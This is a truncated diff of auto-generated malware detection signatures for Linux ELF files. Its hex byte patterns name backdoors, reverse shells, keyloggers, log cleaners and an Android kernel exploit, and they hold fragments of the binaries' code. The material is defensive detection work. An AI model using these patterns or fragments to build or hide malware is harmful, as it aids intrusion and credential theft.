meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_54_0 = {3a 55 50 58 5f 45 4c 46 5f 53 54 52 49 4e 47 00 01 00 44 81 01 54 68 69 73 20 66 69 6c 65 20 69 73 20 70 61 63 6b 65 64 20 77 69 74 68 20 74 68 65 20 55 50 58 20 65 78 65 63 75 74 61 62 6c 65 20 70 61 63 6b 65 72 20 68 74 74 70 3a 2f 2f 75 70 78 2e } //18467 $a_6e_1 = {74 01 00 22 81 01 74 68 65 20 55 50 58 20 54 65 61 6d 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 01 00 1c 81 01 50 } //26227 - $a_5f_2 = {58 45 43 7c 50 52 4f 54 5f 57 52 49 54 45 20 66 61 69 6c 65 64 2e 00 00 8c af 00 00 0e 00 0e 00 07 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 43 68 61 73 68 65 6c 6c 2e 41 00 0a 00 0d 80 01 63 68 61 73 68 65 6c 6c 2f 6c 69 62 2f } //20306 + $a_5f_2 = {58 45 43 7c 50 52 4f 54 5f 57 52 49 54 45 20 66 61 69 6c 65 64 2e 00 00 8c af 00 00 09 00 09 00 07 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 50 41 4d 42 61 63 6b 64 6f 6f 72 2e 42 21 4d 54 42 00 02 00 0e 01 64 65 63 72 79 70 74 5f 70 } //20306 condition: ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26227+(#a_5f_2 & 1)*20306) >=1 } -rule _InfrastructureShared_20841{ +rule _InfrastructureShared_22094{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,09 00 09 00 07 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 50 41 4d 42 61 63 6b 64 6f 6f 72 2e 42 21 4d 54 42 00 02 00 0e 01 64 65 63 72 79 70 74 5f 70 68 72 61 73 65 02 00 0c 01 69 6e 69 74 5f 70 68 72 61 73 65 73 01 00 12 01 } //21539 + $a_61_1 = {5f 61 75 74 68 65 6e 74 69 63 61 74 65 01 00 12 01 6f 5f 70 61 6d 5f 6f 70 65 6e 5f 73 65 73 73 69 6f 6e 01 00 08 01 73 73 68 64 5b 25 64 5d 01 00 10 01 2f 70 72 6f 63 2f 25 73 2f 63 6d 64 6c 69 6e 65 01 00 10 01 2f 70 72 6f 63 2f 25 73 2f 65 6e 76 69 72 6f 6e 00 00 8c af 00 00 0e 00 0e 00 07 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f } //24431 + $a_69_2 = {75 78 2f 43 68 61 73 68 65 6c 6c 2e 41 00 0a 00 0d 80 01 63 68 61 73 68 65 6c 6c 2f 6c 69 62 2f 01 00 0e 80 01 73 79 73 63 61 6c 6c 2e 41 63 63 65 70 74 01 00 10 80 01 73 79 73 63 61 6c 6c 2e 72 65 63 76 66 72 6f 6d 01 00 0c 80 } //14956 + $a_73_3 = {61 6c 6c 2e 42 69 6e 64 01 00 0e 80 01 73 79 73 63 61 6c 6c 2e 53 6f 63 6b 65 74 01 00 0f 80 01 73 79 73 63 61 6c 6c 2e 43 6f 6e 6e 65 63 74 01 00 10 80 01 73 79 73 63 61 6c 6c 2e 73 65 6e 64 66 69 6c 65 00 00 8c b0 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 50 61 74 70 6f 6f 74 79 2e 41 21 4d 54 42 00 01 00 53 00 74 4d 48 } //29441 + $a_3c_4 = {8b 54 24 30 48 8b 74 24 20 48 8b 7c 24 28 e8 39 ff ff ff 84 c0 75 22 48 8b 83 38 02 00 00 48 8d 35 6b 8f 00 } //19555 + $a_54_5 = {28 48 8b 38 31 c0 ff 93 d8 00 00 00 31 d2 eb 0e 48 8b 7c 24 20 ff 93 e8 00 00 00 48 89 c2 48 83 c4 40 01 00 2b 00 48 83 c3 10 eb 15 48 89 ef e8 e8 fb ff ff 48 89 43 f8 48 83 c3 10 48 85 c0 74 0e 48 8b 73 f0 48 85 f6 75 e2 b8 01 00 00 00 5a 5b 00 00 8c b1 00 00 02 00 02 00 04 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 41 6e 64 72 6f 69 64 2f 43 56 45 2d 32 30 31 34 2d 33 31 35 33 00 01 00 1c 01 69 20 68 61 76 65 } //18432 + $a_63_6 = {69 65 6e 74 20 6c 69 6b 65 20 68 6f 6f 6b 65 72 73 01 00 1a 01 2a 2a 2a 2a 20 53 4f 43 4b 5f 50 } //24864 + condition: + ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*24431+(#a_69_2 & 1)*14956+(#a_73_3 & 1)*29441+(#a_3c_4 & 1)*19555+(#a_54_5 & 1)*18432+(#a_63_6 & 1)*24864) >=9 + +} +rule _InfrastructureShared_22095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0e 00 0e 00 07 00 21 " @@ -274400,7 +290321,7 @@ rule _InfrastructureShared_20841{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*25970+(#a_61_2 & 1)*28530+(#a_01_3 & 1)*-15229+(#a_6c_4 & 1)*30789+(#a_00_5 & 1)*29541+(#a_72_6 & 1)*21505) >=14 } -rule _InfrastructureShared_20842{ +rule _InfrastructureShared_22096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -274411,7 +290332,7 @@ rule _InfrastructureShared_20842{ ((#a_4c_0 & 1)*21539+(#a_35_1 & 1)*18432) >=2 } -rule _InfrastructureShared_20843{ +rule _InfrastructureShared_22097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 04 00 21 " @@ -274419,27 +290340,51 @@ rule _InfrastructureShared_20843{ $a_4c_0 = {45 78 70 6c 6f 69 74 3a 41 6e 64 72 6f 69 64 2f 43 56 45 2d 32 30 31 34 2d 33 31 35 33 00 01 00 1c 01 69 20 68 61 76 65 20 61 20 63 6c 69 65 6e 74 20 6c 69 6b 65 20 68 6f 6f 6b 65 72 73 01 00 1a 01 2a 2a 2a } //21539 $a_4f_1 = {4b 5f 50 52 4f 43 20 66 61 69 6c 65 64 20 2a 2a 2a 2a 01 00 17 01 76 6f 6c 75 6e 74 61 72 79 5f 63 74 78 74 5f 73 77 69 74 63 68 65 73 01 00 28 01 54 68 72 65 61 64 20 25 64 20 66 61 69 6c 65 64 20 69 6e 20 77 72 69 74 69 6e 67 20 40 20 25 70 20 3a } //8234 $a_20_2 = {64 00 00 8c b1 00 00 05 00 05 00 06 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 4e 61 74 69 76 65 41 50 49 43 72 79 70 74 6f 41 50 49 2e 42 00 01 00 12 80 01 52 53 41 5f 70 75 62 6c 69 63 5f 65 6e 63 72 79 70 74 01 00 13 80 01 45 56 50 5f 45 6e 63 72 79 70 74 46 69 6e 61 6c 5f 65 78 01 00 0f 80 01 45 } //9504 - $a_61_3 = {73 5f 32 35 36 5f 63 62 63 01 00 12 80 01 45 56 50 5f 43 49 50 48 45 52 5f 43 54 58 5f 6e 65 77 01 00 11 80 01 45 56 50 5f 45 6e 63 72 79 70 74 55 70 64 61 74 65 01 00 12 80 01 45 56 50 5f 45 6e 63 72 79 70 74 49 6e 69 74 5f 65 78 00 00 8c b3 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a } //20566 + $a_61_3 = {73 5f 32 35 36 5f 63 62 63 01 00 12 80 01 45 56 50 5f 43 49 50 48 45 52 5f 43 54 58 5f 6e 65 77 01 00 11 80 01 45 56 50 5f 45 6e 63 72 79 70 74 55 70 64 61 74 65 01 00 12 80 01 45 56 50 5f 45 6e 63 72 79 70 74 49 6e 69 74 5f 65 78 00 00 8c b2 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a } //20566 condition: ((#a_4c_0 & 1)*21539+(#a_4f_1 & 1)*8234+(#a_20_2 & 1)*9504+(#a_61_3 & 1)*20566) >=2 } -rule _InfrastructureShared_20844{ +rule _InfrastructureShared_22098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 06 00 21 " strings : $a_54_0 = {3a 4c 69 6e 75 78 2f 4e 61 74 69 76 65 41 50 49 43 72 79 70 74 6f 41 50 49 2e 42 00 01 00 12 80 01 52 53 41 5f 70 75 62 6c 69 63 5f 65 6e 63 72 79 70 74 01 00 13 80 01 45 56 50 5f 45 6e 63 72 79 70 74 46 69 6e 61 6c 5f 65 78 01 00 0f 80 01 45 56 50 } //18467 - $a_73_1 = {32 35 36 5f 63 62 63 01 00 12 80 01 45 56 50 5f 43 49 50 48 45 52 5f 43 54 58 5f 6e 65 77 01 00 11 80 01 45 56 50 5f 45 6e 63 72 79 70 74 55 70 64 61 74 65 01 00 12 80 01 45 56 50 5f 45 6e 63 72 79 70 74 49 6e 69 74 5f 65 78 00 00 8c b3 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c } //24927 - $a_78_2 = {43 64 30 30 72 2e 42 21 4d 54 42 00 01 00 2b 03 31 ed 49 89 d1 5e 48 89 e2 48 83 e4 f0 50 54 49 c7 c0 a0 c7 52 00 48 c7 c1 e0 c7 52 00 48 c7 c7 c0 0e 40 00 e8 90 01 04 f4 90 00 01 00 59 03 b8 00 00 00 00 e8 90 01 04 48 89 45 d0 48 c7 45 c8 d8 dc 5b 00 48 c7 85 88 f7 ff ff 00 00 00 00 48 8b 45 c8 be ff ff ff ff 48 89 c7 e8 90 01 04 48 89 45 c0 48 8d } //28265 - $a_ff_3 = {48 8b 45 c0 b9 00 00 00 00 ba 00 00 00 00 48 89 c7 e8 90 01 04 48 8b 45 c0 48 89 c7 90 00 00 00 8c b4 00 00 03 00 03 00 05 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4c 6f 67 43 6c 65 61 6e 65 72 2e 41 00 01 00 1b 01 63 6c 65 61 6e 69 6e 67 20 6c 6f 67 73 20 66 69 6c 65 20 66 69 6e 69 73 68 65 64 01 00 19 01 63 6c 65 61 6e 69 6e 67 20 6c 61 73 74 6c 6f 67 20 66 69 6e 69 73 68 65 64 01 00 16 01 63 6c 65 61 6e 69 6e 67 20 77 74 6d 70 20 66 69 6e 69 73 68 65 64 01 00 1b 01 63 6c 65 61 6e 69 6e 67 20 75 74 6d 70 20 66 69 6c 65 20 66 69 6e 69 73 68 65 64 01 00 11 01 75 73 61 67 65 20 3a 2e 2f 7a 61 70 20 3c 69 70 3e 00 00 8c b5 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 58 6b 65 79 6c 6f 67 67 } //-30539 - $a_41_4 = {00 01 00 36 03 41 b8 10 00 00 00 b9 10 00 00 00 ba 02 00 00 00 48 89 df be 00 01 00 00 48 8d 6c 90 01 02 4c 8d 3d 90 01 04 e8 90 01 04 4c } //29285 - $a_00_5 = {01 00 00 48 89 df e8 90 00 01 00 54 03 4c 8b 74 24 90 01 01 48 89 df 31 c9 44 89 e2 41 0f b6 76 90 01 01 e8 90 01 04 48 89 c7 48 85 c0 75 90 01 01 45 85 e4 0f 84 90 01 04 41 0f b6 76 38 48 89 df 31 c9 31 d2 e8 90 01 04 48 89 c7 48 85 c0 0f 84 90 01 04 e8 90 01 04 49 89 c6 48 85 c0 0f 90 00 00 00 8c b8 00 00 03 00 03 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 46 69 64 6c 65 74 74 65 72 2e 41 21 64 68 61 00 01 00 30 01 3c 74 79 70 65 3e 25 6f 3c 2f 74 79 70 65 3e 3c 70 65 72 6d 3e 25 6f 3c 2f 70 65 72 6d 3e 3c 75 73 65 72 3e 25 73 3a 25 73 3c } //-7543 + $a_73_1 = {32 35 36 5f 63 62 63 01 00 12 80 01 45 56 50 5f 43 49 50 48 45 52 5f 43 54 58 5f 6e 65 77 01 00 11 80 01 45 56 50 5f 45 6e 63 72 79 70 74 55 70 64 61 74 65 01 00 12 80 01 45 56 50 5f 45 6e 63 72 79 70 74 49 6e 69 74 5f 65 78 00 00 8c b2 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c } //24927 + $a_78_2 = {47 65 74 53 68 65 6c 6c 2e 47 21 4d 54 42 00 01 00 26 01 f3 0f 1e fa 31 ed 49 89 d1 5e 48 89 e2 48 83 e4 f0 50 54 45 31 c0 31 c9 48 8d 3d 01 ff ff ff ff 15 b3 2d 00 00 f4 01 00 5a 01 31 f6 89 df e8 3a ff ff ff be 01 00 00 00 89 df e8 2e ff ff ff be 02 00 00 00 89 df e8 22 ff ff ff 48 8d 3d 6a 10 00 00 31 c0 31 d2 48 8d 74 24 08 48 89 7c 24 08 48 89 } //28265 + $a_e8_3 = {ff ff ff 48 8d 3d 55 10 00 00 e8 d7 fe ff ff 48 } //9284 + $a_28_4 = {48 2b 04 25 28 00 00 00 00 00 8c b2 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 50 55 41 3a 4c 69 6e 75 78 2f } //17547 + $a_74_5 = {65 76 65 72 73 65 50 72 6f 78 79 2e 41 21 4d 54 42 00 01 00 0e 01 2f 66 61 74 65 64 69 65 72 2f 66 72 70 2f 01 00 32 01 2f 73 79 73 2f 6b 65 72 6e 65 6c 2f 6d 6d 2f 74 72 61 6e 73 70 61 72 65 6e 74 5f 68 75 67 65 70 61 67 65 2f 68 70 61 67 65 5f 70 6d 64 5f 73 69 7a 65 01 00 0c 01 4b 65 79 4c 6f 67 57 72 69 74 65 72 01 00 0c 01 66 72 70 2f 63 } //24902 condition: - ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*24927+(#a_78_2 & 1)*28265+(#a_ff_3 & 1)*-30539+(#a_41_4 & 1)*29285+(#a_00_5 & 1)*-7543) >=5 + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*24927+(#a_78_2 & 1)*28265+(#a_e8_3 & 1)*9284+(#a_28_4 & 1)*17547+(#a_74_5 & 1)*24902) >=5 } -rule _InfrastructureShared_20845{ +rule _InfrastructureShared_22099{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 47 65 74 53 68 65 6c 6c 2e 47 21 4d 54 42 00 01 00 26 01 f3 0f 1e fa 31 ed 49 89 d1 5e 48 89 e2 48 83 e4 f0 50 54 45 31 c0 31 c9 48 8d 3d 01 ff ff ff ff 15 b3 2d 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_22100{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_4c_0 = {50 55 41 3a 4c 69 6e 75 78 2f 46 61 73 74 52 65 76 65 72 73 65 50 72 6f 78 79 2e 41 21 4d 54 42 00 01 00 0e 01 2f 66 61 74 65 64 69 65 72 2f 66 72 70 2f 01 00 32 01 2f 73 79 73 2f 6b 65 72 6e 65 6c 2f 6d 6d } //21539 + $a_61_1 = {73 70 61 72 65 6e 74 5f 68 75 67 65 70 61 67 65 2f 68 70 61 67 65 5f 70 6d 64 5f 73 69 7a 65 01 00 0c 01 4b 65 79 4c 6f 67 57 72 69 74 65 72 01 00 0c 01 66 72 70 2f 63 6d 64 2f 66 72 70 63 01 00 17 01 63 6c 69 65 6e 74 2e 4e 65 77 50 72 6f 78 79 4c 69 73 74 65 6e 65 72 00 00 8c b3 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e } //29743 + $a_6e_2 = {78 2f 43 64 30 30 72 2e 42 21 4d 54 42 00 01 00 2b 03 31 ed 49 89 d1 5e 48 89 e2 48 83 e4 f0 50 54 49 c7 c0 a0 c7 52 00 48 c7 c1 e0 c7 52 00 48 c7 c7 c0 0e 40 00 e8 90 01 04 f4 90 00 01 00 59 03 b8 00 00 00 00 e8 90 01 04 48 89 45 d0 48 c7 45 c8 d8 dc 5b 00 48 c7 85 88 f7 ff ff 00 00 00 00 48 8b 45 c8 be ff ff ff } //19514 + $a_c7_3 = {90 01 04 48 89 45 c0 48 8d b5 88 f7 ff ff 48 8b 45 c0 b9 00 00 00 00 ba 00 00 00 00 48 89 c7 e8 90 01 04 48 8b 45 c0 48 89 c7 90 00 00 00 8c b4 00 00 03 00 03 00 05 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4c 6f 67 43 6c 65 61 6e 65 72 2e 41 00 01 00 1b 01 63 6c 65 61 6e 69 6e 67 20 6c 6f 67 73 20 66 69 6c 65 20 66 69 6e 69 73 68 65 64 01 00 19 01 63 6c 65 61 6e 69 6e 67 20 6c 61 73 } //18687 + $a_67_4 = {66 69 6e 69 73 68 65 64 01 00 16 01 63 6c 65 61 6e 69 6e 67 20 77 74 6d 70 20 66 69 6e 69 73 68 65 64 01 00 1b 01 63 6c 65 61 6e 69 6e 67 20 75 74 6d 70 20 66 69 6c 65 20 66 69 6e 69 73 68 65 64 01 00 11 01 75 73 61 67 65 20 3a 2e 2f 7a 61 70 20 3c 69 70 3e 00 00 8c b5 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f } //27764 + condition: + ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*29743+(#a_6e_2 & 1)*19514+(#a_c7_3 & 1)*18687+(#a_67_4 & 1)*27764) >=5 + +} +rule _InfrastructureShared_22101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -274449,7 +290394,7 @@ rule _InfrastructureShared_20845{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_20846{ +rule _InfrastructureShared_22102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 05 00 21 " @@ -274457,23 +290402,50 @@ rule _InfrastructureShared_20846{ $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4c 6f 67 43 6c 65 61 6e 65 72 2e 41 00 01 00 1b 01 63 6c 65 61 6e 69 6e 67 20 6c 6f 67 73 20 66 69 6c 65 20 66 69 6e 69 73 68 65 64 01 00 19 01 63 6c 65 61 6e 69 } //21539 $a_6c_1 = {73 74 6c 6f 67 20 66 69 6e 69 73 68 65 64 01 00 16 01 63 6c 65 61 6e 69 6e 67 20 77 74 6d 70 20 } //26478 $a_69_2 = {68 65 64 01 00 1b 01 63 6c 65 61 6e 69 6e 67 20 75 74 6d 70 20 66 69 6c 65 20 66 69 6e 69 73 68 65 64 01 00 11 01 75 73 61 67 65 20 3a 2e 2f 7a 61 70 20 3c 69 70 3e 00 00 8c b5 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 58 6b 65 79 6c 6f 67 67 65 72 2e 41 32 00 01 00 36 03 41 b8 10 00 00 00 b9 10 00 00 00 ba } //26982 - $a_be_4 = {01 00 00 48 8d 6c 90 01 02 4c 8d 3d 90 01 04 e8 90 01 04 4c 89 e2 be 00 01 00 00 48 89 df e8 90 00 01 00 54 03 4c 8b 74 24 90 01 01 48 89 df 31 c9 44 89 e2 41 0f b6 76 90 01 01 e8 90 01 04 48 89 c7 48 85 c0 75 90 01 01 45 85 e4 0f 84 90 01 04 41 0f b6 76 38 48 89 df 31 c9 31 d2 e8 90 01 04 48 89 c7 48 85 c0 0f 84 90 01 04 e8 90 01 04 49 89 c6 48 85 c0 0f 90 00 00 00 8c b8 00 00 03 00 03 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 46 69 64 6c 65 74 74 65 72 2e 41 21 64 68 61 00 01 00 30 01 3c 74 79 70 65 3e 25 6f 3c 2f 74 79 70 65 3e 3c 70 65 72 6d 3e 25 6f 3c 2f 70 65 72 6d 3e 3c 75 73 65 72 3e 25 73 3a 25 73 3c 2f 75 73 65 72 3e 01 00 0d } //-30392 + $a_be_4 = {01 00 00 48 8d 6c 90 01 02 4c 8d 3d 90 01 04 e8 90 01 04 4c 89 e2 be 00 01 00 00 48 89 df e8 90 00 01 00 54 03 4c 8b 74 24 90 01 01 48 89 df 31 c9 44 89 e2 41 0f b6 76 90 01 01 e8 90 01 04 48 89 c7 48 85 c0 75 90 01 01 45 85 e4 0f 84 90 01 04 41 0f b6 76 38 48 89 df 31 c9 31 d2 e8 90 01 04 48 89 c7 48 85 c0 0f 84 90 01 04 e8 90 01 04 49 89 c6 48 85 c0 0f 90 00 00 00 8c b6 00 00 01 00 01 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 42 6c 75 65 53 6e 61 69 6c 2e 43 21 64 68 61 00 01 00 12 80 01 2f 66 73 2e 4e 65 77 57 65 62 4c 69 73 74 65 6e 65 72 01 00 10 80 01 2f 66 73 2e 4e 65 77 57 65 62 53 65 72 76 65 72 01 00 10 80 01 2f 66 73 2e 57 65 } //-30392 condition: ((#a_4c_0 & 1)*21539+(#a_6c_1 & 1)*26478+(#a_69_2 & 1)*26982+(#a_be_4 & 1)*-30392) >=3 } -rule _InfrastructureShared_20847{ +rule _InfrastructureShared_22103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 4c 69 6e 75 78 2f 58 6b 65 79 6c 6f 67 67 65 72 2e 41 32 00 01 00 36 03 41 b8 10 00 00 00 b9 10 00 00 00 ba 02 00 00 00 48 89 df be 00 01 00 00 48 8d 6c 90 01 02 4c 8d 3d 90 01 04 e8 90 01 04 4c 89 e2 be 00 01 00 00 48 89 df e8 90 00 01 00 54 03 } //18467 - $a_24_1 = {01 01 48 89 df 31 c9 44 89 e2 41 0f b6 76 90 01 01 e8 90 01 04 48 89 c7 48 85 c0 75 90 01 01 45 85 e4 0f 84 90 01 04 41 0f b6 76 38 48 89 df 31 c9 31 d2 e8 90 01 04 48 89 c7 48 85 c0 0f 84 90 01 04 e8 90 01 04 49 89 c6 48 85 c0 0f 90 00 00 00 8c b8 00 00 03 00 03 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 46 69 64 6c 65 74 } //-29876 + $a_24_1 = {01 01 48 89 df 31 c9 44 89 e2 41 0f b6 76 90 01 01 e8 90 01 04 48 89 c7 48 85 c0 75 90 01 01 45 85 e4 0f 84 90 01 04 41 0f b6 76 38 48 89 df 31 c9 31 d2 e8 90 01 04 48 89 c7 48 85 c0 0f 84 90 01 04 e8 90 01 04 49 89 c6 48 85 c0 0f 90 00 00 00 8c b6 00 00 01 00 01 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 42 6c 75 65 53 6e } //-29876 condition: ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-29876) >=2 } -rule _InfrastructureShared_20848{ +rule _InfrastructureShared_22104{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 42 6c 75 65 53 6e 61 69 6c 2e 43 21 64 68 61 00 01 00 12 80 01 2f 66 73 2e 4e 65 77 57 65 62 4c 69 73 74 65 6e 65 72 01 00 10 80 01 2f 66 73 2e 4e 65 77 57 65 62 53 65 72 76 65 72 01 00 10 } //16675 + $a_66_1 = {2e 57 65 62 4c 69 73 74 65 6e 65 72 2e 01 00 0b 80 01 2f 66 69 6c 65 77 65 62 2e 67 6f 01 00 0b 80 01 2f 66 73 2f 70 65 72 6d 2e 67 6f 01 00 } //384 + $a_2f_2 = {78 } //-32753 x + $a_64_3 = {2f 73 6f 63 6b 73 00 01 00 11 80 01 2f 65 78 74 65 6e 64 73 2f 63 6f 6d 6d 61 6e 64 00 00 00 8c b6 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 41 67 6e 74 2e 54 21 4d 54 42 00 01 00 44 01 4c 89 f2 4c 89 fe 89 ef e8 29 93 00 00 85 c0 75 d5 44 89 ea 89 c1 44 89 e8 c1 fa 1f 8b 5c 24 10 48 8b } //25972 + $a_01_4 = {00 00 41 f7 fc 41 83 fc 01 44 0f 44 e9 48 63 d3 31 f6 41 83 e5 01 89 dd 45 31 e4 c1 ed 04 01 00 43 01 48 8b 74 24 68 48 8b 54 24 78 8b bc 24 8c 00 00 00 8b 0e 31 f6 e8 06 f4 04 00 48 8b bc 24 a0 00 00 00 48 8b 94 24 90 00 00 00 49 89 c0 31 c9 31 f6 48 89 44 24 48 e8 05 fa 04 00 4c 8b 4c 24 48 4c 89 cf 00 00 8c b8 00 00 03 00 03 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 46 69 64 6c 65 74 74 65 72 2e 41 21 64 68 61 00 01 00 30 01 3c 74 79 70 65 3e 25 6f 3c 2f 74 79 70 65 3e 3c 70 65 72 6d 3e 25 6f 3c 2f 70 65 72 6d 3e 3c 75 73 65 72 3e 25 73 3a 25 73 3c 2f 75 73 65 72 3e 01 00 0d 01 43 61 6c 63 48 65 61 64 65 72 43 72 63 01 00 13 01 73 65 74 5f 73 6f 63 6b 5f 6b 65 } //9404 + $a_61_5 = {69 76 65 01 00 0c 01 65 6e 63 72 79 70 74 5f 63 6f 64 65 01 00 08 01 48 69 64 65 46 69 6c 65 01 00 11 01 50 6f 72 74 66 6f 72 77 61 72 64 54 68 72 65 61 64 00 00 8c b9 00 00 03 00 03 00 07 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 42 6f 6d 62 61 73 74 69 63 2e 41 } //28773 + $a_61_6 = {01 00 12 01 6b 65 72 6e 65 6c 5f 77 72 69 74 65 5f 75 6c 6f 6e 67 01 00 10 01 6b 65 72 6e 65 6c 5f 72 65 61 64 5f 75 69 6e 74 01 00 0c 01 70 61 74 63 68 5f 70 6f 6c 69 63 79 01 00 0f 01 67 65 74 5f 6d 61 6c 69 5f 62 75 66 66 65 72 01 00 0f 01 66 69 78 5f 63 68 69 6c 64 5f 74 61 73 6b 73 01 00 09 01 70 72 65 5f } //25633 + condition: + ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*384+(#a_2f_2 & 1)*-32753+(#a_64_3 & 1)*25972+(#a_01_4 & 1)*9404+(#a_61_5 & 1)*28773+(#a_61_6 & 1)*25633) >=1 + +} +rule _InfrastructureShared_22105{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 41 67 6e 74 2e 54 21 4d 54 42 00 01 00 44 01 4c 89 f2 4c 89 fe 89 ef e8 29 93 00 00 85 c0 75 d5 44 89 ea 89 c1 44 89 e8 c1 fa 1f 8b 5c 24 10 48 8b bc 24 e8 01 00 00 } //21539 + $a_41_1 = {fc 01 44 0f 44 e9 48 63 d3 31 f6 41 83 e5 01 89 dd 45 31 e4 c1 ed 04 01 00 43 01 48 8b 74 24 68 48 8b 54 24 78 8b bc 24 8c 00 00 00 8b 0e 31 f6 e8 06 f4 04 00 48 8b bc 24 a0 00 00 00 48 8b 94 24 90 00 00 00 49 89 c0 31 c9 31 f6 48 89 44 24 48 e8 05 fa 04 00 4c 8b 4c 24 48 4c 89 cf 00 00 8c b8 00 00 03 00 03 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 46 69 64 6c 65 74 74 65 72 2e 41 21 64 68 61 00 01 00 30 01 3c 74 79 70 65 3e 25 6f 3c 2f 74 79 70 65 3e 3c 70 65 72 6d 3e 25 6f 3c 2f 70 65 72 6d 3e 3c 75 73 65 72 3e 25 73 3a 25 73 3c 2f 75 73 65 72 3e 01 00 0d 01 43 61 6c 63 48 65 61 64 65 72 43 72 63 01 00 13 01 73 65 74 5f 73 6f 63 6b 5f 6b 65 65 70 5f 61 6c 69 76 65 01 00 0c 01 65 6e 63 72 79 70 74 5f 63 6f 64 65 01 00 08 } //-2239 + condition: + ((#a_4c_0 & 1)*21539+(#a_41_1 & 1)*-2239) >=2 + +} +rule _InfrastructureShared_22106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 06 00 21 " @@ -274488,7 +290460,7 @@ rule _InfrastructureShared_20848{ ((#a_4c_0 & 1)*21539+(#a_25_1 & 1)*29477+(#a_64_2 & 1)*25439+(#a_72_3 & 1)*27749+(#a_65_4 & 1)*28511+(#a_20_5 & 1)*9504) >=3 } -rule _InfrastructureShared_20849{ +rule _InfrastructureShared_22107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 07 00 21 " @@ -274504,7 +290476,7 @@ rule _InfrastructureShared_20849{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*24944+(#a_3a_2 & 1)*28527+(#a_6e_3 & 1)*28021+(#a_65_4 & 1)*25970+(#a_20_5 & 1)*28003+(#a_20_6 